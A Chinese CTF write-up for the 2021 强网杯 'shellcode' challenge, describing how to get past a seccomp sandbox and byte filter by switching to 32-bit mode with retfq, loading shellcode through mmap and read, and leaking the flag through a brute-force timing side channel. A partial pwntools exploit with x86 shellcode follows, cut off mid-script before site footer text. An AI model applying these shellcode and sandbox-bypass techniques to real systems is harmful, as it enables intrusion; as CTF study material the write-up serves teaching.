2021 强网杯 [强网先锋] shellcode

本文介绍了如何在存在沙箱和特定字符限制的环境中编写shellcode,利用retfq指令切换到32位模式,通过mmap分配内存,再read加载32位shellcode。然后通过爆破方法逐字符获取flag。详细讲解了shellcode的构造过程,包括open、read等系统调用的使用,并展示了实际的exploit代码。

在这里插入图片描述
在这里插入图片描述
就是写入shellcode跑就行。但是shellcode不能有小于’\x1f’,也不能有等于‘\x7f’。问题的关键在于开了沙箱。

在这里插入图片描述只能使用这些系统调用。
orw只有r,怎么处理。

首先看o,我们发现给了系统调用5,这个系统调用在64的时候是fstat,但是在32模式情况下就是open,所以我们首先考虑使用retfq汇编语句来让我们的整个模式跳到32位,在32位下去调用系统调用5就可以获得open。
retfq使用的时候要注意,cs寄存器中存储的一个数字,0x23表示32位,0x33表示64位。调用retfq之后esp是cs寄存器值,esp+8就是返回地址了。

但是我们发现,我们把32位shellcode读到栈上以后栈的整个环境是64的,就会产生矛盾,所以我们需要一块全新的地方来写入我们的32位shellcode。
我们看到了系统调用可以mmap,所以我们第一步就是mmap申请一块地方,然后read32位shellcode过去。这里说一嘴因为syscall的汇编代码被ban了,所以我们写汇编语句的时候要耍点小手段,通过xor来得到syscall。

此时我们要读入shellcode到mmap,这个时候对我们的字符不会有检查,就随便写了。我们首先open打开文件,然后跳回64位,把读flag读出来,然后呢,没有write。

所以我们参考了2021蓝帽杯的silent,我们爆破,将每个可见字符拿去跟我们的flag进行比较,假如命中,我们让它跳入loop循环,假如我们程序卡在那里,说明命中了,然后一个字符一个字符爆破,得到flag。

下面的flag我自己写的,爆破大概爆了十分钟吧。
在这里插入图片描述

exp

#coding:utf-8
from pwn import *
context.log_level = 'debug'

append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
'''

shellcode_x86 
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值